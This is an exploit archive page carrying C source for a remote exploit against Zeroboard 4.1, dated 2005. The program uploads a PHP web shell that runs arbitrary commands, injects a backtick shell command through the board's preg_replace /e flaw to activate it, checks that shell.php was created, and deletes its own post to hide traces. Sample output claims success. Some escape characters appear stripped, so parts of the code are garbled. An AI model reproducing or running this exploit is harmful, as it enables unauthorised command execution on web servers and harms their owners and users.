[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Zeroboard 4.1 preg_replace Remote nobody Shell Exploit
# Published : 2005-05-31
# Author : n0gada
# Previous Title : PostNuke <= 0.750 readpmsg.php SQL Injection Exploit
# Next Title : MyBulletinBoard (MyBB) <= 1.00 RC4 SQL Injection Exploit


/*
*
----------------------------------------------------------------------------------
[+] Zeroboard preg_replace vulnerability Remote nobody shell exploit 
----------------------------------------------------------------------------------

> by n0gada (n0gada@null2root.org)

[*] date : 2005/5/29

[*] the bug

Original advisory: 
- http://pandora.sapzil.info/text/notify/20050123.zb41advisory.php

Application
- Zeroboard 4.1 pl2 - 4.1 pl5

Reference:
- http://www.nzeo.com

[*] Target - My test server

$ ./zbexpl http://xxx.xxx.xxx/zboard/zboard.php?id=test
- Target : http://xxx.xxx.xxx/zboard/zboard.php?id=test

[+] xxx.xxx.xxx connecting ok!
[+] Zeroboard writing . ok!
[+] Confirmming your article - found!
[+] Exploiting zeroboard start ............................... Done!
[*] Confirmming your backdoor php script - 
http://xxx.xxx.xxx/zboard/data/test/shell.php is generated!
[+] Exploiting success!!
[*] Remove your article - ok! :)

------------------------------------------------------------------------------
*
*/

#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <errno.h>


#define BUFSIZE 4096
#define READSIZE 1500

void ParseZbHost(char *);
void ConnectZboard(char *, unsigned short);
void WriteZboard(void);
void ExploitZboard(void);
void ConfirmPHPScript(void);
void DeleteArticle(void);
void StatusProcess(void);
void Usage(char *);
void OutputErr(char *, int);

char *zb_host;
char *zb_dir;
char *zb_tid;
unsigned short zb_port;

int sockfd = -1;
int reconn=0;
char ReadBuf[READSIZE];
char WriteBuf[BUFSIZE];
char TempBuf[BUFSIZ];
char no[16];


int main(int argc, char *argv[]){

if(argc < 2) Usage(argv[0]);

if(argc > 2) zb_port = atoi(argv[2]); 
else zb_port = 80;

// http://host/bbs/zboard.php?id=test 

ParseZbHost(argv[1]);

ConnectZboard(zb_host, zb_port);

WriteZboard();

ExploitZboard();

ConfirmPHPScript();

DeleteArticle();
}

void ParseZbHost(char *zbhost)
{
char *psbuf;
char *sptr=NULL;
char *eptr=NULL;

psbuf = malloc(strlen(zbhost)+1);

strcpy(psbuf, zbhost);

if((sptr = strstr(psbuf,"http://")) == NULL) OutputErr("http://host needn", 0);

zb_host = sptr+7;

sptr = strchr(zb_host, '/');
sptr[0] = '';
sptr++;

if((eptr = strstr(sptr, "zboard.php?id=")) == NULL) OutputErr(""zboard.php?id=" 
needn", 0);

zb_tid = eptr+14;

eptr--;
eptr[0] = '';

zb_dir = sptr;

fprintf(stdout, " - Target : http://%s/%s/zboard.php?id=%sn", zb_host, zb_dir, 
zb_tid);
fflush(stdout); 
}


void ConnectZboard(char *server, unsigned short port)
{

struct sockaddr_in serv; 
struct hostent *hostname;

if(!(hostname = gethostbyname(server))) OutputErr(server, 1);
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) OutputErr("socket", 1);

memset(&serv, 0, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_port = htons(port);
serv.sin_addr.s_addr = *((unsigned long *)hostname->h_addr_list[0]);
// serv.sin_addr = *((struct in_addr *)hostname->h_addr_list[0]);

if(connect(sockfd, (struct sockaddr *)&serv, sizeof(struct sockaddr)) < 0)
OutputErr("connect", 1);

if(!reconn) fprintf(stdout,"n [+] %s connecting ok!n", server);
else if(reconn == 1) fprintf(stdout, " [+] %s reconnecting ok!n", server);
fflush(stdout);

reconn = 0;
}

void WriteZboard(void)
{
fd_set fds;
struct timeval tv;
int err = -1;
int i = 0;
int cnt=0;
char *tmp_ptr, *ptr;
char form_data[BUFSIZE];

memset(form_data, 0, sizeof(form_data));
sprintf(form_data,
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="page"rn"
"rn"
"1rn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="id"rn"
"rn"
"%srn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="no"rn"
"rn"
"rn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="select_arrange"rn"
"rn"
"headnumrn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="desc"rn"
"rn"
"ascrn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="page_num"rn"
"rn"
"rn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="keyword"rn"
"rn"
"rn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="category"rn"
"rn"
"rn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="sn"rn"
"rn"
"offrn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="ss"rn"
"rn"
"onrn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="sc"rn"
"rn"
"onrn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="mode"rn"
"rn"
"writern"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="password"rn"
"rn"
"1212rn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="name"rn"
"rn"
"zerorn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="email"rn"
"rn"
"zero@nzeo.comrn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="homepage"rn"
"rn"
"rn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="subject"rn"
"rn"
"zero@nzeo.com hi~!rn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="memo"rn"
"rn"
"`mv data/%s/d214924151d9e1ffac5bb2258561031e 
data/%s/shell.php`;# 70ab423bfaea846c9db0b96126254103rn"
//"-----------------------------8ac34985126d8rn"
//"Content-Disposition: form-data; name="sitelink1"rn"
//"rn"
//"rn"
//"-----------------------------8ac34985126d8rn"
//"Content-Disposition: form-data; name="sitelink2"rn"
//"rn"
//"rn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="file1"; 
filename="d214924151d9e1ffac5bb2258561031e"rn"
"Content-Type: text/plainrn"
"rn"
"<?
if(count($_GET)) extract($_GET);
if(count($_POST)) extract($_POST);
if(count($_SERVER)) extract($_SERVER);
echo "<form action=$PHP_SELF method=post>
command : <input type=text name=cmd>
<input type=submit></form><hr>";
if($cmd){
$cmd = str_replace("\\", "", $cmd);
echo "<pre>"; system($cmd); echo "</pre>";
}
?>rn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="file2"; filename=""rn"
"Content-Type: application/octet-streamrn"
"rn"
"rn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="x"rn"
"rn"
"36rn"
"-----------------------------8ac34985126d8rn"
"Content-Disposition: form-data; name="y"rn"
"rn"
"11rn"
"-----------------------------8ac34985126d8--rn"
, zb_tid, zb_tid, zb_tid);



memset(WriteBuf, 0, sizeof(WriteBuf));

sprintf(WriteBuf,
"POST /%s/write_ok.php HTTP/1.1rn"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, 
application/x-shockwave-flash, application/vnd.ms-excel, 
application/vnd.ms-powerpoint, application/msword, */*rn" 
"Referer: http://%s/%s/write.php?id=%s&page=1&sn1=&divpage=1&
sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=&
mode=write&sn1=&divpage=1rn"
"Content-Type: multipart/form-data; boundary=---------------------------8ac34985126d8rn"
"Accept-Encoding: gzip, deflatern"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)rn"
"Host: %srn"
"Content-Length: %drn"
"Connection: Keep-Alivern"
"Cache-Control: no-cachern" 
"rn""%s", zb_dir, zb_host, zb_dir, zb_tid, zb_host, strlen(form_data), form_data);

fprintf(stdout, " [+] Zeroboard writing ");
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

tv.tv_sec = 60;
tv.tv_usec = 0;

FD_ZERO(&fds);

for(;;){

memset(ReadBuf, 0, sizeof(ReadBuf));

if(i!=0xb33f) StatusProcess();

FD_SET(sockfd, &fds);

if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){

if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);


if(strstr(ReadBuf, "HTTP/1.1 ")){
if(strstr(ReadBuf+17, "Connection: closern")) reconn = 1;

if(strstr(ReadBuf+9, "200 OKrn")) { 
err++;
}
else if(strstr(ReadBuf+9, "404 Not Foundrn")){
OutputErr(" failed!(page not found)n", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Requestrn")){
OutputErr(" failed!(Bad Request)n", 0);
}
else {
OutputErr(ReadBuf, 0);
}

}

if(err == 0){

if(strstr(ReadBuf,"<meta http-equiv="refresh" content="0; url=zboard.php?id="))
{
fprintf(stdout, " ok!n");
fflush(stdout);

fprintf(stdout," [+] Confirmming your article");
fflush(stdout);

if(tmp_ptr = strstr(ReadBuf+18, "url=")) {

ptr = tmp_ptr+4;
if(ptr != NULL){
if(tmp_ptr = strchr(ptr,'"')) tmp_ptr[0] = '';
}
} 
if(ptr = strstr(ReadBuf,"=&no=")){
ptr += 5;
memset(no, 0, sizeof(no));
for(i=0; i<16; i++){
if(ptr[i] == '&') break;
no[i] = ptr[i];
}
}
if(strlen(no) > 0){
fprintf(stdout," - found!n");
fflush(stdout);
return;
}
else {
OutputErr(" - failed!(not writed!?!)n", 0);
}
} 
else {
if(strstr(ReadBuf,"Total Excuted Time :") && strstr(ReadBuf,"x30x0dx0ax0dx0a")) break;
}
}
else {
OutputErr("err number errorn", 0);
}
}
}

fprintf(stderr, " error!n");

}

void ExploitZboard(void)
{
fd_set fds;
struct timeval tv;
int err = -1;

if(reconn == 1) ConnectZboard(zb_host, zb_port);

memset(WriteBuf, 0, sizeof(WriteBuf));

sprintf(WriteBuf, 
"GET /%s/view.php?id=%s&page=1&sn1=&divpage=1&sn=off&ss=off&
sc=on&keyword=70ab423bfaea846c9db0b96126254103/e"
, zb_dir, zb_tid);

memcpy(WriteBuf+strlen(WriteBuf), "x25x30x30", 3);

sprintf(WriteBuf+strlen(WriteBuf),
"&select_arrange=headnum&desc=asc&no=%s HTTP/1.1rn"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*rn"
"Referer: http://%s/%s/zboard.phprn"
"Accept-Encoding: gzip, deflatern"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)rn"
"Host: %srn"
"Connection: Keep-Alivern"
"rn", no, zb_host, zb_dir, zb_host);

fprintf(stdout, " [+] Exploiting zeroboard start ");
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

tv.tv_sec = 60;
tv.tv_usec = 0;

FD_ZERO(&fds);

for(;;){

StatusProcess();

memset(ReadBuf, 0, sizeof(ReadBuf));

FD_SET(sockfd, &fds);
if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){

if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);


if(strstr(ReadBuf, "HTTP/1.1 ")){

if(strstr(ReadBuf,"Connection: closern")) reconn = 1;

if(strstr(ReadBuf+9, "200 OKrn")) { 
err++; 
}
else if(strstr(ReadBuf+9, "404 Not Foundrn")){
OutputErr(" failed!(page not found)n", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Requestrn")){
OutputErr(" failed!(Bad Request)n", 0);
}
else {
OutputErr(ReadBuf, 0);
}

}

if(err >= 0){

if(strstr(ReadBuf,"Total Excuted Time :") && strstr(ReadBuf, "x30x0dx0ax0dx0a")){
fprintf(stdout," Done!n"); 
fflush(stdout);
return;
}

}

}
}

fprintf(stderr," error!n"); 

}

void ConfirmPHPScript(void)
{
fd_set fds;
struct timeval tv;

if(reconn == 1) ConnectZboard(zb_host, zb_port); 

memset(WriteBuf, 0, sizeof(WriteBuf));
sprintf(WriteBuf,
"GET /%s/data/%s/shell.php HTTP/1.1rn"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*rn"
"Referer: http://%s/%s/zboard.phprn"
"Accept-Encoding: gzip, deflatern"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)rn"
"Host: %srn"
"Connection: Keep-Alivern"
"rn", zb_dir, zb_tid, zb_host, zb_dir, zb_host);

fprintf(stdout, " [*] Confirmming your backdoor php script");
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

tv.tv_sec = 60;
tv.tv_usec = 0;


FD_ZERO(&fds);

for(;;){
memset(ReadBuf, 0, sizeof(ReadBuf));

FD_SET(sockfd, &fds);
if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){
if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);


if(strstr(ReadBuf, "HTTP/1.1 ")){
if(strstr(ReadBuf,"Connection: closern")) reconn = 1;

if(strstr(ReadBuf+9, "200 OKrn")) { 
fprintf(stdout," - http://%s/%s/data/%s/shell.php is generated!n 
[+] Exploiting success!!n", zb_host, zb_dir, zb_tid);
fflush(stdout);
return;
}
else if(strstr(ReadBuf+9, "404 Not Foundrn")){
OutputErr(" - page not foundn - 'mv' instruction permission denied.n - zeroboard was patched.n"
" [-] Exploit failed!n", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Requestrn")){
OutputErr(" - Bad Requestn"
" [-] Exploit failed!n", 0);
}
else {
OutputErr(ReadBuf, 0);
}
}


}
}

fprintf(stderr," error!n");
}


void DeleteArticle(void)
{
fd_set fds;
struct timeval tv;
char post_data[BUFSIZ];


if(reconn == 1) ConnectZboard(zb_host, zb_port);

sprintf(post_data,
"page=1&id=%s&no=%s&select_arrange=headnum&desc=asc&page_num=20&keyword=&category=&sn=off&ss=off&sc=on&mode=&c_no=&password=1212&x=20&y=9rn", zb_tid, no);

memset(WriteBuf, 0, sizeof(WriteBuf));
sprintf(WriteBuf,
"POST /%s/delete_ok.php HTTP/1.1rn"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*rn"
"Referer: http://%s/%s/delete.php?id=%s&page=1&sn1=&divpage=1&sn=off&ss=off&sc=on&select_arrange=headnum&desc=asc&no=%srn"
"Content-Type: application/x-www-form-urlencodedrn"
"Accept-Encoding: gzip, deflatern"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)rn"
"Host: %srn"
"Content-Length: %drn"
"Connection: closern"
"Cache-Control: no-cachern"
"rn"
"%s", zb_dir, zb_host, zb_dir, zb_tid, no, zb_host, strlen(post_data), post_data);


fprintf(stdout, " [*] Remove your article ");
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

tv.tv_sec = 60;
tv.tv_usec = 0;

FD_ZERO(&fds);

for(;;){

memset(ReadBuf, 0, sizeof(ReadBuf));

FD_SET(sockfd, &fds);

if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){
if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);

if(strstr(ReadBuf, "HTTP/1.1 ")){
if(strstr(ReadBuf+9, "200 OKrn")) { 

if(strstr(ReadBuf+17, "<meta http-equiv="refresh" content="0; url=zboard.php?id=")) {
fprintf(stdout, " - ok! :)n");
fflush(stdout);
return;
}
else{ 
break;
}
}
else if(strstr(ReadBuf+9, "404 Not Foundrn")){
OutputErr(" - failed!(page not found)n", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Requestrn")){
OutputErr(" - failed!(Bad Request)n", 0);
}
else {
fprintf(stderr,"%s", ReadBuf);
exit(1);
}
}

}
}

fprintf(stderr," error!n");
}

void StatusProcess(void)
{
putchar('.');
fflush(stdout);
}


void OutputErr(char *msg, int type)
{
if(!type){
fprintf(stderr,"%s", msg);
fflush(stderr);
}
else if(type==1){
if(!strcmp(msg, zb_host)) herror(msg);
else perror(msg);
}

DeleteArticle();
exit(1);
}

void Usage(char *arg)
{ 
fprintf(stderr,"[*] Zeroboard preg_replace() vulnerability Remote nobody exploit by n0gadan"); 
fprintf(stderr,"--------------------------------------------------------------------------n");
fprintf(stderr,"Usage: %s <SERVER> [PORT - default : 80] n", arg);
fprintf(stderr,"--------------------------------------------------------------------------n");

exit(1);
}

// www.Syue.com [2005-05-31]